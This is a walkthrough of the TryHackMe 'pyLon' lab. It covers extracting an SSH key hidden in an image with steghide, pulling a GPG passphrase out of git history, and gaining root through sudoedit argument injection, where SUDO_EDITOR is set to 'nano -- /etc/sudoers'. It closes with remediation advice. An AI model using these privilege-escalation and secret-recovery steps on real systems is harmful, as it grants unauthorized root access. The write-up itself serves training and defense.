mintshell
VI

pyLon

A Linux boot2root: a stego-hidden SSH key, a homebrew password manager, a GPG key leaked through git history, and a sudoedit argument-injection root.

Platform
TryHackMe
Room
pyLon(external link)
Difficulty
Medium
Vulnerabilities
insecure sudo configuration, exposed credentials in version control, security through obscurity
6 min read

TryHackMe: pyLon — Stego Breadcrumbs, a Git-Leaked GPG Key, and a sudoedit Root

A full boot2root walkthrough of TryHackMe’s “pyLon” — a Linux box that hides an SSH key inside a photo, locks its real secrets behind a home-made password manager, leaks a GPG key through git history, and finally hands out root through a single misconfigured sudoedit rule.

pyLon is an authorized training machine on TryHackMe; everything here was performed against a legal practice target. All flags, passwords, private keys, and GPG passphrases are redacted — values shown as <redacted> or THM{<redacted>} are real on the box but withheld here.


TL;DR — the whole chain

TL;DR

steghide the provided photo (passphrase = the owner’s dog’s name) → recover a gzip/tar’d SSH private key → log in to a home-made password manager on port 222 → read Flag 1 and lone’s real SSH password → SSH in as lone (user 1) → a .git folder in ~/pylon exposes an older build of the password manager; replaying the key dumps a stored GPG passphrase → decrypt note_from_pood.gpg for pood’s password (user 2) → pood may run sudoedit /opt/openvpn/client.ovpn as root → abuse the user-controlled editor to also open /etc/sudoers → grant pood full sudo → root.

The target

export IP=<target-ip>

Two SSH services answer, which is the first tell that port 222 is special:

22/tcp   OpenSSH 7.6p1 Ubuntu   -> real shell
222/tcp  OpenSSH 8.4            -> pyLon "password manager" (restricted app)

pyLon also ships you a single JPEG, pepper_1611998632625.jpg, as the starting breadcrumb.

The vulnerability: everything here is home-made

pyLon doesn’t fall to one CVE. It falls because every secret on the box is guarded by something the author rolled themselves — a stego passphrase that is just the dog’s name, an “encryption key” that is only encoded, a password manager whose old version still lives in git history, and a sudo rule that trusts the user’s editor. Each layer is obscurity, not security, and they chain cleanly from an anonymous start to root.

Insight

The cleverest rung is the root step. sudoedit (aka sudo -e) is meant to be safe: it opens a file as root but runs your editor as you. The catch is that it reads the editor command from the user-controlled SUDO_EDITOR/VISUAL/EDITOR variables and does not sanitize extra arguments. Setting something like EDITOR="nano -- /etc/sudoers" smuggles a second file into the privileged session, so sudoedit opens /etc/sudoers as root even though the rule only names client.ovpn.

Step 1 — crack the stego image for an SSH key

The hint says the owner loves his dog, and the file is pepper_*.jpg — so the dog’s name, and the steghide passphrase, is pepper:

steghide extract -sf pepper_1611998632625.jpg
# passphrase: pepper  ->  wrote extracted data to "lone"

The extracted lone is a Base64 blob that unwraps into an SSH key:

cat lone | base64 -d > lone_decoded
file lone_decoded                       # gzip compressed data
mv lone_decoded lone_decoded.tgz
tar -zxvf lone_decoded.tgz              # -> lone_id
head -1 lone_id                         # -----BEGIN OPENSSH PRIVATE KEY----- (redacted)

exiftool on the same image also leaks the “scheme” for the manager’s encryption key — a CyberChef recipe (To_Hex → To_Base85) tucked into the XMP Subject tag.

Step 2 — unlock the home-made password manager (Flag 1)

The key logs into port 222, which is not a shell — it is pyLon’s password manager. Feeding it the decoded encryption key unlocks the vault:

ssh -i lone_id lone@$IP -p 222
# Enter your encryption key: <redacted>
# [1] Decrypt a password  ...

It stores two entries — the first is Flag 1, the second is lone’s real login password:

FLAG 1     ->  THM{<redacted>}
pylon.thm  ->  lone / <redacted>

Step 3 — SSH in as lone (user 1)

Reuse that recovered password on the real SSH service (port 22):

ssh lone@$IP -p 22
lone@pylon:~$ cat user1.txt
# THM{<redacted>}

Step 4 — git history → a GPG key → pood (user 2)

lone’s home holds an encrypted note_from_pood.gpg that none of the known passwords open. But the ~/pylon project is a git repo, and an older commit carries a different build of the manager, pyLon_pwMan.py:

cd ~/pylon
git log --oneline
git checkout <initial-commit>     # restores pyLon_pwMan.py + pyLon.db
python3 pyLon_pwMan.py
# reuse the port-222 encryption key, then decrypt the entry:
#   pylon.thm_gpg_key / lone_gpg_key  ->  <redacted>

That recovered value is the GPG passphrase. Use it to open the note, which hands over pood’s password:

gpg note_from_pood.gpg           # passphrase: <redacted>
cat note_from_pood
# "... oh, by the way, my password is <redacted>"

ssh pood@$IP
pood@pylon:~$ cat user2.txt
# THM{<redacted>}

Step 5 — root via sudoedit argument injection

pood@pylon:~$ sudo -l
# (root) sudoedit /opt/openvpn/client.ovpn

sudoedit will only edit client.ovpn — but it launches the editor named in our environment and passes along any extra arguments we sneak in. Point the editor at a second file, /etc/sudoers, so it opens as root too:

export SUDO_EDITOR='nano -- /etc/sudoers'
sudoedit /opt/openvpn/client.ovpn
# nano now opens /etc/sudoers AS ROOT; add the line:
#   pood ALL=(ALL:ALL) ALL

With pood granted full sudo, escalate and grab the root flag:

sudo -i
root@pylon:~# cat /root/root.txt
# THM{<redacted>}

The box also keeps a root.txt.gpg, but the plaintext root.txt is right there once you are root. The notes drove this step with a small exploit.sh, but the mechanism is exactly the one-liner above.

Impact

Critical

High — full root compromise. The standout flaw, the sudoedit rule, is a local privilege escalation worth about CVSS 3.1 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H): any user who can reach that rule becomes root. The surrounding chain shows how little stands between an anonymous attacker and that rule — a dog’s-name stego passphrase, a reversible “encryption” key, a password manager resurrected from git history, and secrets that travel in commit history.

Fix

  1. Lock down the sudo rule. sudoedit editor injection is a known class — do not grant sudoedit on a file whose directory (or editor environment) a lower-priv user controls. Prefer a narrow, hard-coded wrapper over letting a user edit a file as root at all.
  2. Keep secrets out of git. The GPG passphrase was recoverable only because an old build sat in commit history. Rotate anything ever committed and scrub history (git filter-repo).
  3. Stop rolling your own crypto. A manager whose key is “hex-then-Base85” and whose vault reopens with a recovered string is encoding, not encryption. Use vetted libraries and a real KDF.
  4. Do not rely on stego or obscurity for key material; the owner’s dog’s name is a guessable secret, not a control.

Takeaways

  • sudoedit is not automatically safe. If the user controls EDITOR/VISUAL/SUDO_EDITOR, they can often smuggle a second, privileged file into the session. Treat any sudoedit entry as a candidate root.
  • git is a secret store you forgot about. git log / git checkout on a project you land in is free loot — old versions leak what the current one hid.
  • Obscurity stacks, but it never adds up to security. pyLon chains five home-made “protections”; each only delays, none stops.
  • Reused secrets are the glue of a boot2root. The port-222 key reopened the git-restored manager; that entry was the GPG passphrase. Recover once, reuse everywhere.

Thanks for reading. pyLon is a tour of what happens when real secrets are protected with home-made cleverness — right up to a single sudoedit line that turns a low-priv user into root.